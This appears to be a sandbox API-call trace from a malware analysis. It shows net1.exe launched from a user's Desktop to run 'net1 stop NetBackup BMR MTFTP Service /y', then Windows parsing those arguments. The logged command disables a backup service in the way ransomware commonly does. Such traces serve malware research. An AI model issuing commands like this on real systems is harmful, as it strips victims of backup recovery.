"Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0xf04 Process: id = "13" image_name = "net1.exe" filename = "c:\\windows\\system32\\net1.exe" page_root = "0x62481000" os_pid = "0xf14" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xf00" cmd_line = "C:\\Windows\\system32\\net1 stop NetBackup BMR MTFTP Service /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 69 os_tid = 0xf18 [0098.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafeb0 | out: lpSystemTimeAsFileTime=0xafeb0*(dwLowDateTime=0xfe5de420, dwHighDateTime=0x1d5eccb)) [0098.555] GetCurrentProcessId () returned 0xf14 [0098.555] GetCurrentThreadId () returned 0xf18 [0098.555] GetTickCount () returned 0x11535b1 [0098.556] QueryPerformanceCounter (in: lpPerformanceCount=0xafeb8 | out: lpPerformanceCount=0xafeb8*=17939713245) returned 1 [0098.558] GetModuleHandleW (lpModuleName=0x0) returned 0xffae0000 [0098.558] __set_app_type (_Type=0x1) [0098.558] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffaf9c9c) returned 0x0 [0098.558] __getmainargs (in: _Argc=0xffb04780, _Argv=0xffb04790, _Env=0xffb04788, _DoWildCard=0, _StartInfo=0xffb0479c | out: _Argc=0xffb04780, _Argv=0xffb04790, _Env=0xffb04788) returned 0 [0098.558] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.558] GetConsoleOutputCP () returned 0x1b5 [0098.558] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffb0cec0 | out: lpCPInfo=0xffb0cec0) returned 1 [0098.559] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.561] sprintf_s (in: _DstBuf=0xafe58, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0098.561] setlocale (category=0, locale=".437") returned="English_United States.437" [0098.563] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0098.563] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.563] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop NetBackup BMR MTFTP Service /y" [0098.563] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xafbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c [0098.563] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x0, Size=0xb2) returned 0x12c250 [0098.563] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0 [0098.563] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xafe48 | out: Buffer=0xafe48*=0x124f10) returned 0x0 [0098.563] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xafe48 | out: Buffer=0xafe48*=0x124f30) returned 0x0 [0098.563] _fileno (_File=0x7feffb12a80) returned -2 [0098.564] _setmode (_FileHandle=-2, _Mode=16384) returned -1 [0098.564] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0098.564] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0098.564] _wcsicmp (_String1="config", _String2="stop") returned -16 [0098.564] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0098.564] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0098.564] _wcsicmp (_String1="file", _String2="stop") returned -13 [0098.564] _wcsicmp (_String1="files", _String2="stop") returned -13 [0098.564] _wcsicmp (_String1="group", _String2="stop") returned -12 [0098.564] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0098.564] _wcsicmp (_String1="help", _String2="stop") returned -11 [0098.564] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0098.564] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0098.564] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0098.564] _wcsicmp (_String1="session", _String2="stop") returned -15 [0098.564] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0098.564] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0098.564] _wcsicmp (_String1="share", _String2="stop") returned -12 [0098.564] _wcsicmp (_String1="start", _String2="stop") returned -14 [0098.564] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0098.564] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0098.564] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0098.565] _wcsicmp (_String1="accounts", _String2="NetBackup") returned -13 [0098.565] _wcsicmp (_String1="computer", _String2="NetBackup") returned -11 [0098.565] _wcsicmp (_String1="config", _String2="NetBackup") returned -11 [0098.565] _wcsicmp (_String1="continue", _String2="NetBackup") returned -11 [0098.565] _wcsicmp (_String1="cont", _String2="NetBackup") returned -11 [0098.565] _wcsicmp (_String1="file", _String2="NetBackup") returned -8 [0098.565] _wcsicmp (_String1="files", _String2="NetBackup") returned -8 [0098.565] _wcsicmp (_String1="group", _String2="NetBackup") returned -7 [0098.565] _wcsicmp (_String1="groups", _String2="NetBackup") returned -7 [0098.565] _wcsicmp (_String1="help", _String2="NetBackup") returned -6 [0098.565] _wcsicmp (_String1="helpmsg", _String2="NetBackup") returned -6 [0098.565] _wcsicmp (_String1="localgroup", _String2="NetBackup") returned -2 [0098.565] _wcsicmp (_String1="pause", _String2="NetBackup") returned 2 [0098.565] _wcsicmp (_String1="session", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="sessions", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="sess", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="share", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="start", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="stats", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="statistics", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="stop", _String2="NetBackup") returned 5 [0098.565] _wcsicmp (_String1="time", _String2="NetBackup") returned 6 [0098.565] _wcsicmp (_String1="user", _String2="NetBackup") returned 7 [0098.565] _wcsicmp (_String1="users", _String2="NetBackup") returned 7 [0098.565] _wcsicmp (_String1="msg", _String2="NetBackup") returned -1 [0098.565] _wcsicmp (_String1="messenger", _String2="NetBackup") returned -1 [0098.565] _wcsicmp (_String1="receiver", _String2="NetBackup") returned 4 [0098.565] _wcsicmp (_String1="rcv", _String2="NetBackup") returned 4 [0098.566] _wcsicmp (_String1="netpopup", _String2="NetBackup") returned 14 [0098.566] _wcsicmp (_String1="redirector", _String2="NetBackup") returned 4 [0098.566] _wcsicmp (_String1="redir", _String2="NetBackup") returned 4 [0098.566] _wcsicmp (_String1="rdr", _String2="NetBackup") returned 4 [0098.566] _wcsicmp (_String1="workstation", _String2="NetBackup") returned 9 [0098.566] _wcsicmp (_String1="work", _String2="NetBackup") returned 9 [0098.566] _wcsicmp (_String1="wksta", _String2="NetBackup") returned 9 [0098.566] _wcsicmp (_String1="prdr", _String2="NetBackup") returned 2 [0098.566] _wcsicmp (_String1="devrdr", _String2="NetBackup") returned -10 [0098.566] _wcsicmp (_String1="lanmanworkstation", _String2="NetBackup") returned -2 [0098.566] _wcsicmp (_String1="server", _String2="NetBackup") returned 5 [0098.566] _wcsicmp (_String1="svr", _String2="NetBackup") returned 5 [0098.566] _wcsicmp (_String1="srv", _String2="NetBackup") returned 5 [0098.566] _wcsicmp (_String1="lanmanserver", _String2="NetBackup") returned -2 [0098.566] _wcsicmp (_String1="alerter", _String2="NetBackup") returned -13 [0098.566] _wcsicmp (_String1="netlogon", _String2="NetBackup") returned 10 [0098.566] _wcsicmp (_String1="accounts", _String2="BMR") returned -1 [0098.566] _wcsicmp (_String1="computer", _String2="BMR") returned 1 [0098.566] _wcsicmp (_String1="config", _String2="BMR") returned 1 [0098.566] _wcsicmp (_String1="continue", _String2="BMR") returned 1 [0098.566] _wcsicmp (_String1="cont", _String2="BMR") returned 1 [0098.566] _wcsicmp (_String1="file", _String2="BMR") returned 4 [0098.566] _wcsicmp (_String1="files", _String2="BMR") returned 4 [0098.566] _wcsicmp (_String1="group", _String2="BMR") returned 5 [0098.566] _wcsicmp (_String1="groups", _String2="BMR") returned 5 [0098.567] _wcsicmp (_String1="help", _String2="BMR") returned 6 [0098.567] _wcsicmp (_String1="helpmsg", _String2="BMR") returned 6 [0098.567] _wcsicmp (_String1="localgroup", _String2="BMR") returned 10 [0098.567] _wcsicmp (_String1="pause", _String2="BMR") returned 14 [0098.567] _wcsicmp (_String1="session", _String2="BMR") returned 17 [0098.567] _wcsicmp (_String1="sessions", _String2="BMR") returned 17 [0098.567] _wcsicmp (_String1="sess", _String2="BMR") returned 17 [0098.567] _wcsicmp (_String1="share", _String2="BMR") returned 17 [0098.567] _wcsicmp (_String1="start", _String2="BMR") returned 17 [0098.568] _wcsicmp (_String1="stats", _String2="BMR") returned 17 [0098.568] _wcsicmp (_String1="statistics", _String2="BMR") returned 17 [0098.568] _wcsicmp (_String1="stop", _String2="BMR") returned 17 [0098.568] _wcsicmp (_String1="time", _String2="BMR") returned 18 [0098.568] _wcsicmp (_String1="user", _String2="BMR") returned 19 [0098.568] _wcsicmp (_String1="users", _String2="BMR") returned 19 [0098.568] _wcsicmp (_String1="msg", _String2="BMR") returned 11 [0098.568] _wcsicmp (_String1="messenger", _String2="BMR") returned 11 [0098.568] _wcsicmp (_String1="receiver", _String2="BMR") returned 16 [0098.568] _wcsicmp (_String1="rcv", _String2="BMR") returned 16 [0098.568] _wcsicmp (_String1="netpopup", _String2="BMR") returned 12 [0098.568] _wcsicmp (_String1="redirector", _String2="BMR") returned 16 [0098.568] _wcsicmp (_String1="redir", _String2="BMR") returned 16 [0098.568] _wcsicmp (_String1="rdr", _String2="BMR") returned 16 [0098.568] _wcsicmp (_String1="workstation", _String2="BMR") returned 21 [0098.568] _wcsicmp (_String1="work", _String2="BMR") returned 21 [0098.568] _wcsicmp (_String1="wksta", _String2="BMR") returned 21 [0098.568] _wcsicmp (_String1="prdr", _String2="BMR") returned 14 [0098.568] _wcsicmp (_String1="devrdr", _String2="BMR") returned 2 [0098.568] _wcsicmp (_String1="lanmanworkstation", _String2="BMR") returned 10 [0098.568] _wcsicmp (_String1="server", _String2="BMR") returned 17 [0098.568] _wcsicmp (_String1="svr", _String2="BMR") returned 17 [0098.569] _wcsicmp (_String1="srv", _String2="BMR") returned 17 [0098.569] _wcsicmp (_String1="lanmanserver", _String2="BMR") returned 10 [0098.569] _wcsicmp (_String1="alerter", _String2="BMR") returned -1 [0098.569] _wcsicmp (_String1="netlogon", _String2="BMR") returned 12 [0098.569] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0098.569] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.569] wcscpy_s (in: _Destination=0xaf7f0, _SizeInWords=0xf, _Source="neth.dll" | out: _Destination="neth.dll") returned 0x0 [0098.569] LoadLibraryW (lpLibFileName="neth.dll") returned 0x754e0000 [0098.570] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc66, dwLanguageId=0x0, lpBuffer=0xaf7e0, nSize=0x0, Arguments=0xaf7e8 | out: lpBuffer="콀\x12") returned 0xff [0098.572] wcstok (in: _String="CONTINUE: CONT$\r\nFILE: FILES$\r\nGROUP: GROUPS$\r\nREPLICATOR: REPL, REPLICATOR$\r\nSESSION: SESSIONS, SESS$\r\nSTATISTICS: STATS$\r\nUSER: USERS$\r\nWORKSTATION: REDIRECTOR, REDIR, RDR, WORK, WKSTA, PRDR, DEVRDR$\r\nSERVER: SVR, SRV$\r\n", _Delimiter="$", _Context=0xf14 | out: _String="CONTINUE: CONT", _Context=0xf14) returned="CONTINUE: CONT" [0098.572] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nFILE: FILES" [0098.572] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nGROUP: GROUPS" [0098.572] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nREPLICATOR: REPL, REPLICATOR" [0098.572] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSESSION: SESSIONS, SESS" [0098.573] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSTATISTICS: STATS" [0098.573] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nUSER: USERS" [0098.573] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nWORKSTATION: REDIRECTOR, REDIR, RDR, WORK, WKSTA, PRDR, DEVRDR" [0098.573] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSERVER: SVR, SRV" [0098.573] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\n" [0098.573] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 [0098.573] wcstok (in: _String="CONTINUE: CONT", _Delimiter=":,$", _Context=0x0 | out: _String="CONTINUE", _Context=0x0) returned="CONTINUE" [0098.573] wcsspn (_String="CONTINUE", _Control="\x09\n\x0b\x0c\r ") returned 0x0 [0098.573] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x43 | out: _String=0x0, _Context=0x43) returned=" CONT" [0098.573] wcsspn (_String=" CONT", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.573] _wcsicmp (_String1="CONT", _String2="stop") returned -16 [0098.573] _wcsicmp (_String1="CONT", _String2="NetBackup") returned -11 [0098.573] _wcsicmp (_String1="CONT", _String2="BMR") returned 1 [0098.573] _wcsicmp (_String1="CONT", _String2="MTFTP") returned -10 [0098.573] _wcsicmp (_String1="CONT", _String2="Service") returned -16 [0098.573] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.573] wcstok (in: _String="\r\nFILE: FILES", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nFILE", _Context=0x0) returned="\r\nFILE" [0098.573] wcsspn (_String="\r\nFILE", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.573] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x46 | out: _String=0x0, _Context=0x46) returned=" FILES" [0098.573] wcsspn (_String=" FILES", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.573] _wcsicmp (_String1="FILES", _String2="stop") returned -13 [0098.573] _wcsicmp (_String1="FILES", _String2="NetBackup") returned -8 [0098.573] _wcsicmp (_String1="FILES", _String2="BMR") returned 4 [0098.573] _wcsicmp (_String1="FILES", _String2="MTFTP") returned -7 [0098.573] _wcsicmp (_String1="FILES", _String2="Service") returned -13 [0098.573] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.573] wcstok (in: _String="\r\nGROUP: GROUPS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nGROUP", _Context=0x0) returned="\r\nGROUP" [0098.574] wcsspn (_String="\r\nGROUP", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.574] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x47 | out: _String=0x0, _Context=0x47) returned=" GROUPS" [0098.574] wcsspn (_String=" GROUPS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.574] _wcsicmp (_String1="GROUPS", _String2="stop") returned -12 [0098.574] _wcsicmp (_String1="GROUPS", _String2="NetBackup") returned -7 [0098.574] _wcsicmp (_String1="GROUPS", _String2="BMR") returned 5 [0098.574] _wcsicmp (_String1="GROUPS", _String2="MTFTP") returned -6 [0098.574] _wcsicmp (_String1="GROUPS", _String2="Service") returned -12 [0098.574] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.574] wcstok (in: _String="\r\nREPLICATOR: REPL, REPLICATOR", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nREPLICATOR", _Context=0x0) returned="\r\nREPLICATOR" [0098.574] wcsspn (_String="\r\nREPLICATOR", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.574] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x52 | out: _String=0x0, _Context=0x52) returned=" REPL" [0098.574] wcsspn (_String=" REPL", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.574] _wcsicmp (_String1="REPL", _String2="stop") returned -1 [0098.574] _wcsicmp (_String1="REPL", _String2="NetBackup") returned 4 [0098.574] _wcsicmp (_String1="REPL", _String2="BMR") returned 16 [0098.574] _wcsicmp (_String1="REPL", _String2="MTFTP") returned 5 [0098.574] _wcsicmp (_String1="REPL", _String2="Service") returned -1 [0098.574] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" REPLICATOR" [0098.574] wcsspn (_String=" REPLICATOR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.574] _wcsicmp (_String1="REPLICATOR", _String2="stop") returned -1 [0098.574] _wcsicmp (_String1="REPLICATOR", _String2="NetBackup") returned 4 [0098.574] _wcsicmp (_String1="REPLICATOR", _String2="BMR") returned 16 [0098.574] _wcsicmp (_String1="REPLICATOR", _String2="MTFTP") returned 5 [0098.574] _wcsicmp (_String1="REPLICATOR", _String2="Service") returned -1 [0098.574] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.574] wcstok (in: _String="\r\nSESSION: SESSIONS, SESS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nSESSION", _Context=0x0) returned="\r\nSESSION" [0098.575] wcsspn (_String="\r\nSESSION", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.575] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x53 | out: _String=0x0, _Context=0x53) returned=" SESSIONS" [0098.575] wcsspn (_String=" SESSIONS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.575] _wcsicmp (_String1="SESSIONS", _String2="stop") returned -15 [0098.575] _wcsicmp (_String1="SESSIONS", _String2="NetBackup") returned 5 [0098.575] _wcsicmp (_String1="SESSIONS", _String2="BMR") returned 17 [0098.575] _wcsicmp (_String1="SESSIONS", _String2="MTFTP") returned 6 [0098.575] _wcsicmp (_String1="SESSIONS", _String2="Service") returned 1 [0098.575] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" SESS" [0098.575] wcsspn (_String=" SESS", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.575] _wcsicmp (_String1="SESS", _String2="stop") returned -15 [0098.575] _wcsicmp (_String1="SESS", _String2="NetBackup") returned 5 [0098.575] _wcsicmp (_String1="SESS", _String2="BMR") returned 17 [0098.575] _wcsicmp (_String1="SESS", _String2="MTFTP") returned 6 [0098.575] _wcsicmp (_String1="SESS", _String2="Service") returned 1 [0098.575] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.575] wcstok (in: _String="\r\nSTATISTICS: STATS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nSTATISTICS", _Context=0x0) returned="\r\nSTATISTICS" [0098.575] wcsspn (_String="\r\nSTATISTICS", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.575] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x53 | out: _String=0x0, _Context=0x53) returned=" STATS" [0098.575] wcsspn (_String=" STATS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.575] _wcsicmp (_String1="STATS", _String2="stop") returned -14 [0098.575] _wcsicmp (_String1="STATS", _String2="NetBackup") returned 5 [0098.575] _wcsicmp (_String1="STATS", _String2="BMR") returned 17 [0098.575] _wcsicmp (_String1="STATS", _String2="MTFTP") returned 6 [0098.575] _wcsicmp (_String1="STATS", _String2="Service") returned 15 [0098.575] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.575] wcstok (in: _String="\r\nUSER: USERS", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nUSER", _Context=0x0) returned="\r\nUSER" [0098.576] wcsspn (_String="\r\nUSER", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.576] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x55 | out: _String=0x0, _Context=0x55) returned=" USERS" [0098.576] wcsspn (_String=" USERS", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.576] _wcsicmp (_String1="USERS", _String2="stop") returned 2 [0098.576] _wcsicmp (_String1="USERS", _String2="NetBackup") returned 7 [0098.576] _wcsicmp (_String1="USERS", _String2="BMR") returned 19 [0098.576] _wcsicmp (_String1="USERS", _String2="MTFTP") returned 8 [0098.576] _wcsicmp (_String1="USERS", _String2="Service") returned 2 [0098.576] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.576] wcstok (in: _String="\r\nWORKSTATION: REDIRECTOR, REDIR, RDR, WORK, WKSTA, PRDR, DEVRDR", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nWORKSTATION", _Context=0x0) returned="\r\nWORKSTATION" [0098.576] wcsspn (_String="\r\nWORKSTATION", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.576] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x57 | out: _String=0x0, _Context=0x57) returned=" REDIRECTOR" [0098.576] wcsspn (_String=" REDIRECTOR", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.576] _wcsicmp (_String1="REDIRECTOR", _String2="stop") returned -1 [0098.576] _wcsicmp (_String1="REDIRECTOR", _String2="NetBackup") returned 4 [0098.576] _wcsicmp (_String1="REDIRECTOR", _String2="BMR") returned 16 [0098.576] _wcsicmp (_String1="REDIRECTOR", _String2="MTFTP") returned 5 [0098.576] _wcsicmp (_String1="REDIRECTOR", _String2="Service") returned -1 [0098.576] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" REDIR" [0098.576] wcsspn (_String=" REDIR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.576] _wcsicmp (_String1="REDIR", _String2="stop") returned -1 [0098.576] _wcsicmp (_String1="REDIR", _String2="NetBackup") returned 4 [0098.576] _wcsicmp (_String1="REDIR", _String2="BMR") returned 16 [0098.576] _wcsicmp (_String1="REDIR", _String2="MTFTP") returned 5 [0098.576] _wcsicmp (_String1="REDIR", _String2="Service") returned -1 [0098.576] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" RDR" [0098.577] wcsspn (_String=" RDR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.577] _wcsicmp (_String1="RDR", _String2="stop") returned -1 [0098.577] _wcsicmp (_String1="RDR", _String2="NetBackup") returned 4 [0098.577] _wcsicmp (_String1="RDR", _String2="BMR") returned 16 [0098.577] _wcsicmp (_String1="RDR", _String2="MTFTP") returned 5 [0098.577] _wcsicmp (_String1="RDR", _String2="Service") returned -1 [0098.577] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" WORK" [0098.577] wcsspn (_String=" WORK", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.577] _wcsicmp (_String1="WORK", _String2="stop") returned 4 [0098.577] _wcsicmp (_String1="WORK", _String2="NetBackup") returned 9 [0098.577] _wcsicmp (_String1="WORK", _String2="BMR") returned 21 [0098.577] _wcsicmp (_String1="WORK", _String2="MTFTP") returned 10 [0098.577] _wcsicmp (_String1="WORK", _String2="Service") returned 4 [0098.577] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" WKSTA" [0098.577] wcsspn (_String=" WKSTA", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.577] _wcsicmp (_String1="WKSTA", _String2="stop") returned 4 [0098.577] _wcsicmp (_String1="WKSTA", _String2="NetBackup") returned 9 [0098.577] _wcsicmp (_String1="WKSTA", _String2="BMR") returned 21 [0098.577] _wcsicmp (_String1="WKSTA", _String2="MTFTP") returned 10 [0098.577] _wcsicmp (_String1="WKSTA", _String2="Service") returned 4 [0098.577] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" PRDR" [0098.577] wcsspn (_String=" PRDR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.577] _wcsicmp (_String1="PRDR", _String2="stop") returned -3 [0098.577] _wcsicmp (_String1="PRDR", _String2="NetBackup") returned 2 [0098.577] _wcsicmp (_String1="PRDR", _String2="BMR") returned 14 [0098.577] _wcsicmp (_String1="PRDR", _String2="MTFTP") returned 3 [0098.577] _wcsicmp (_String1="PRDR", _String2="Service") returned -3 [0098.577] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" DEVRDR" [0098.577] wcsspn (_String=" DEVRDR", _Control="\x09\n\x0b\x0c\r ") returned 0x1 [0098.577] _wcsicmp (_String1="DEVRDR", _String2="stop") returned -15 [0098.578] _wcsicmp (_String1="DEVRDR", _String2="NetBackup") returned -10 [0098.578] _wcsicmp (_String1="DEVRDR", _String2="BMR") returned 2 [0098.578] _wcsicmp (_String1="DEVRDR", _String2="MTFTP") returned -9 [0098.578] _wcsicmp (_String1="DEVRDR", _String2="Service") returned -15 [0098.578] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.578] wcstok (in: _String="\r\nSERVER: SVR, SRV", _Delimiter=":,$", _Context=0x0 | out: _String="\r\nSERVER", _Context=0x0) returned="\r\nSERVER" [0098.578] wcsspn (_String="\r\nSERVER", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.578] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0x53 | out: _String=0x0, _Context=0x53) returned=" SVR" [0098.578] wcsspn (_String=" SVR", _Control="\x09\n\x0b\x0c\r ") returned 0x5 [0098.578] _wcsicmp (_String1="SVR", _String2="stop") returned 2 [0098.578] _wcsicmp (_String1="SVR", _String2="NetBackup") returned 5 [0098.578] _wcsicmp (_String1="SVR", _String2="BMR") returned 17 [0098.578] _wcsicmp (_String1="SVR", _String2="MTFTP") returned 6 [0098.578] _wcsicmp (_String1="SVR", _String2="Service") returned 17 [0098.578] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned=" SRV" [0098.578] wcsspn (_String=" SRV", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.578] _wcsicmp (_String1="SRV", _String2="stop") returned -2 [0098.578] _wcsicmp (_String1="SRV", _String2="NetBackup") returned 5 [0098.578] _wcsicmp (_String1="SRV", _String2="BMR") returned 17 [0098.578] _wcsicmp (_String1="SRV", _String2="MTFTP") returned 6 [0098.578] _wcsicmp (_String1="SRV", _String2="Service") returned 13 [0098.578] wcstok (in: _String=0x0, _Delimiter=":,$", _Context=0xaf760*="\x02" | out: _String=0x0, _Context=0xaf760*="\x02") returned 0x0 [0098.578] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc67, dwLanguageId=0x0, lpBuffer=0xaf7e0, nSize=0x0, Arguments=0xaf7e8 | out: lpBuffer="쌰\x12") returned 0x1c [0098.578] wcstok (in: _String="NAMES$\r\nSYNTAX$\r\nSERVICES$\r\n", _Delimiter="$", _Context=0xc67 | out: _String="NAMES", _Context=0xc67) returned="NAMES" [0098.578] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSYNTAX" [0098.578] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\nSERVICES" 